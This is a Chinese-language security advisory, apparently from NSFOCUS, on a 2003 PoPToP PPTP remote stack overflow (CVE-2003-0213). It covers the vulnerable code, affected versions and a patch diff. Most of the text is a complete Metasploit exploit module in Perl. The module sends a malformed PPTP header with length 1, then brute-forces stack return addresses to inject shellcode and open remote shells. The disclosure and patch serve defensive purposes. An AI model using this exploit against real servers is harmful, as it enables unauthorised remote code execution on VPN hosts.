首页 -> 安全研究

安全研究

安全漏洞
PoPToP PPTP read()参数负值远程缓冲区溢出漏洞

发布日期:2003-04-09
更新日期:2003-04-16

受影响系统:
PoPToP PPTP 1.1.4-b2
PoPToP PPTP 1.1.4-b1
PoPToP PPTP 1.1.3-20021009
PoPToP PPTP 1.1.3
PoPToP PPTP 1.1.2
PoPToP PPTP 1.0.1
不受影响系统:
PoPToP PPTP 1.1.4-b3
PoPToP PPTP 1.1.3-20030409
描述:
BUGTRAQ  ID: 7316
CVE(CAN) ID: CVE-2003-0213

PoPToP PPTP一般用于建立VPN连接,使用在Windows操作系统下。

PoPToP PPTP在引用用户提供的输入用于各种计算时缺少正确过滤检查,远程攻击者可以利用这个漏洞破坏服务程序进程的敏感内存,可能以PoPToP进程权限在系统上执行任意指令。

PPTP包的头字段包含16bit长度用于指定包的大小:

        bytes_this = read(clientFd, packet + bytes_ttl, 2 - bytes_ttl);
        // ...
        bytes_ttl += bytes_this;
        // ...
        length = htons(*(u_int16_t *) packet);
        if (length > PPTP_MAX_CTRL_PCKT_SIZE) {
          // abort
        }

其中bytes_this = read(clientFd, packet + bytes_ttl, length - bytes_ttl); 代码没有对外部输入进行充分过滤,如果给定的长度是0或1,"length - bytes_ttl"结果就会-1或-2,这就表示会从客户端读取大量的数据,导致覆盖堆栈内容,可能以PoPToP进程权限在系统上执行任意指令。

<*来源:Timo Sirainen (tss@iki.fi
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104994375011406&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::poptop_negative_read;
use strict;
use base 'Msf::Exploit';
use Pex::Struct;
use Pex::Text;

my $advanced =
  {
    'StackTop'     => ['0xbffffa00', 'Start address for stack ret bruteforcing.'],
    'StackBottom'  => ['0xbffff000', 'End address for stack ret bruteforcing.'],
    'StackStep'    => [0, 'Step size for ret bruteforcing, 0 for auto calculation.'],
    'BruteWait'    => [.4, 'Length in seconds to wait between bruteforce attempts'],

    # calculated at 228,  fudge to make more universal
    'PreRetLength' => [220, 'Space before the we start writing return address.  Note: this + ExtraSpace is how much space we have for the payload.'],
    'RetLength'    => [32, 'Length of rets after payload'],
    'ExtraSpace'   => [0, "The exploit builds two protocol frames, the header frame and the control frame. ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data (these should eventually be filled in to look like a real client, ie windows).  I've had successful exploitation with this set to 154, but nothing over 128 is suggested."],
    'Hostname'     => ['', 'PPTP Packet Hostname'],
    'Vendor'       => ['Microsoft Windows NT', 'PPTP Packet Hostname'],
  };

my $info = {
    'Name'    => 'Poptop Negative Read Overflow',
    'Version' => '$Revision: 1.46 $',
    'Authors' => [ 'spoonm <ninjatools [at] hush.com>', ],

    'Arch'    => [ 'x86' ],
    'OS'      => [ 'linux' ],
    'Priv'    => 1,

    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The Poptop port', 1723],
      },

    'Payload' =>
      {
        'Space'     => 0, # We override this to do it dynamically
        'BadChars'  => '', # Eh, we don't have any
        'PrependEncoder'   => "\x81\xC4\xC0\xFB\xFF\xFF", # add esp,0xfffffbc0 (-1088)
        'MinNops'   => 16,
      },

    'Nop' =>
      {
        'SaveRegs' => ['esp'],
      },

    'Description'  => Pex::Text::Freeform(qq{
    This is an exploit for the Poptop negative read overflow.  This will
    work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I
    currently do not have a good way to detect Poptop versions.

    The server will by default only allow 4 concurrent manager processes
    (what we run our code in), so you could have a max of 4 shells at once.

    Using the current method of exploitation, our socket will be closed
    before we have the ability to run code, preventing the use of Findsock.
}),

    'Refs'  =>
      [
        ['OSVDB', '3293'],
        ['URL',   'http://securityfocus.com/archive/1/317995'],
        ['URL',   'http://www.freewebs.com/blightninjas/'],
        ['MIL',   '50'],
      ],

    'DefaultTarget' => 0,
    'Targets' =>
      [
        ['Bruteforce'],
      ],

    'Keys'  => ['poptop'],

    'DisclosureDate' => 'Apr 9 2003',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

    return($self);
}

# Override the PayloadSpace method
sub PayloadSpace {
    my $self = shift;
    return($self->GetLocal('PreRetLength') + $self->GetLocal('ExtraSpace'));
}

my $structHeader =
  [
    'b_u_16' => 'length',
    'b_u_16' => 'pptp_type',
    'b_u_32' => 'magic',
    'b_u_16' => 'ctrl_type',
    'b_u_16' => 'reserved0',
  ];

my $structBegin =
  [
    'struct' => 'header',
    'u_8'    => 'version_major',
    'u_8'    => 'version_minor',
  ];
my $structEnd =
  [
    'b_u_32' => 'framing_cap',
    'b_u_32' => 'bearer_cap',
    'b_u_16' => 'max_channels',
    'b_u_16' => 'firmware_rev',
    'string' => 'hostname',
    'string' => 'vendor',
  ];

sub Check {
    my $self = shift;

    my $targetHost  = $self->GetVar('RHOST');
    my $targetPort  = $self->GetVar('RPORT');

    my $pptpHeader = Pex::Struct->newC(
        $structHeader,
      );

    $pptpHeader->Set(
        'length'    => 156,
        'pptp_type' => 1,  # PPTP_CTRL_MESSAGE
        'magic'     => 0x1a2b3c4d,
        'ctrl_type' => 1,  # START_CTRL_CONN_RQST
        'reserved0' => 0,
      );

    my $pptpCtrl = Pex::Struct->newC(
        [
            @{$structBegin},
            'b_u_16' => 'reserved1',
            @{$structEnd},
        ]
      );

    $pptpCtrl->Set(
        'header'         => $pptpHeader,
        'version_major'  => 1,
        'version_minor'  => 0,
        'reserved1'      => 0,
        'framing_cap'    => 1,
        'bearer_cap'     => 1,
        'max_channels'   => 0,
        'firmware_rev'   => 2600,
        'hostname'       => Pex::Text::PadBuffer($self->GetLocal('Hostname'), 64),
        'vendor'         => Pex::Text::PadBuffer($self->GetLocal('Vendor'), 64),
      );

    my $pptpPayload = $pptpCtrl->Fetch;

    my $sock = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $targetHost,
        'PeerPort'  => $targetPort,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );

    if ($sock->IsError) {
        $self->PrintLine('Error creating socket: '.$sock->GetError);
        return $self->CheckCode('Connect');
    }

    if(!$sock->Send($pptpPayload)) {
        $self->PrintLine('Error in send.');
        $sock->PrintError;
        return $self->CheckCode('Generic');
    }

    my $pptpResp = Pex::Struct->newC(
        [
            @{$structBegin},
            'u_8'   => 'result_code',
            'u_8'   => 'error_code',
            @{$structEnd},
        ]
      );

    $pptpResp->Set('header', $pptpHeader);

    $pptpResp->SetSize('hostname', 64);
    $pptpResp->SetSize('vendor', 64);

    my $resp = $sock->Recv(-1);
    if(!$pptpResp->Fill($resp)) {
        $self->PrintLine('[*] Error parsing server response.');
        return $self->CheckCode('Generic');
    }

    $sock->Close;

    $self->PrintLine('[*] PPTP Response Data');

    my $data = $pptpResp->RecursiveGet;
    foreach (@{$data}) {
        $self->PrintLine($_->[0] . ': ' . $_->[1]);
    }

    if($pptpResp->Get('vendor') =~ /MoretonBay/) {
        $self->PrintLine('[*] Vendor tag matches, may be Poptop');
        return $self->CheckCode('Detected');
    }

    return $self->CheckCode('Safe');
}

sub Exploit {
    my $self = shift;

    my $targetHost  = $self->GetVar('RHOST');
    my $targetPort  = $self->GetVar('RPORT');
    my $targetIndex = $self->GetVar('TARGET');
    my $encodedPayload = $self->GetVar('EncodedPayload');
    my $shellcode   = $encodedPayload->Payload;

    my $pptpHeader = Pex::Struct->newC(
        $structHeader,
      );

    $pptpHeader->Set(
        'length'    => 1,  # ;)
        'pptp_type' => 1,  # PPTP_CTRL_MESSAGE
        'magic'     => 0x1a2b3c4d,
        'ctrl_type' => 1,  # START_CTRL_CONN_RQST
        'reserved0' => 0,
      );

    my $pptpCtrl = Pex::Struct->newC(
        [
            @{$structBegin},
            'b_u_16' => 'reserved1',
            @{$structEnd},
        ]
      );

    $pptpCtrl->Set(
        'header'         => $pptpHeader,
        'version_major'  => 1,
        'version_minor'  => 0,
        'reserved1'      => 0,
        'framing_cap'    => 1,
        'bearer_cap'     => 1,
        'max_channels'   => 0,
        'firmware_rev'   => 2600,
        'hostname'       => Pex::Text::PadBuffer($self->GetLocal('Hostname'), 64),
        'vendor'         => Pex::Text::PadBuffer($self->GetLocal('Vendor'), 64),
      );

    my $pptpPayload = $pptpCtrl->Fetch;

    $self->PrintDebugLine(1, "ExtraSpace: " . $self->GetLocal('ExtraSpace'));
    substr($pptpPayload, -1 * $self->GetLocal('ExtraSpace'), $self->GetLocal('ExtraSpace'), '');

    my $retLength   = $self->GetLocal('RetLength');
    my $bruteWait   = $self->GetLocal('BruteWait');
    my $stackTop    = hex($self->GetLocal('StackTop'));
    my $stackBottom = hex($self->GetLocal('StackBottom'));
    my $stackStep   = $self->GetLocal('StackStep');

    $stackStep = $encodedPayload->NopsLength if($stackStep == 0);
    $stackStep -= $stackStep % 4;

    for(my $ret = $stackTop; $ret >= $stackBottom; $ret -= $stackStep) {
        my $sock = Msf::Socket::Tcp->new
          (
            'PeerAddr'  => $targetHost,
            'PeerPort'  => $targetPort,
            'LocalPort' => $self->GetVar('CPORT'),
            'SSL'       => $self->GetVar('SSL'),
          );

        if ($sock->IsError) {
            $sock->PrintError;
            return;
        }

        $self->PrintLine(sprintf("Trying %#08x", $ret));

        if(!$sock->Send($pptpPayload . $shellcode . (pack('V', $ret) x int($retLength / 4)))) {
            $self->PrintLine('Error in send.');
            $sock->PrintError;
        }

        $self->Handler($sock);
        $sock->Close;
        select(undef, undef, undef, $bruteWait); # ghetto sleep
    }
    return;
}

1;

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* Timo Sirainen <tss@iki.fi>提供如下第三方补丁:

--- ctrlpacket.c.old    1999-12-23 23:43:33.000000000 +0200
+++ ctrlpacket.c    2003-04-09 18:58:21.000000000 +0300
@@ -254,8 +254,8 @@
    }
    /* OK, we have (at least) the first 2 bytes, and there is data waiting */
    length = htons(*(u_int16_t *) packet);
-    if (length > PPTP_MAX_CTRL_PCKT_SIZE) {
-        syslog(LOG_ERR, "CTRL: Control packet > PPTP_MAX_CTRL_PCKT_SIZE (length = %d)", length);
+    if (length <= 10 || length > PPTP_MAX_CTRL_PCKT_SIZE) {
+        syslog(LOG_ERR, "CTRL: 11 < Control packet (length=%d) < ", length);
        /* we loose sync (unless we malloc something big, which isn't a good
         * idea - potential DoS) so we must close connection (draft states that
         * if you loose sync you must close the control connection immediately)

厂商补丁:

PoPToP
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.poptop.org

浏览次数:7692
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障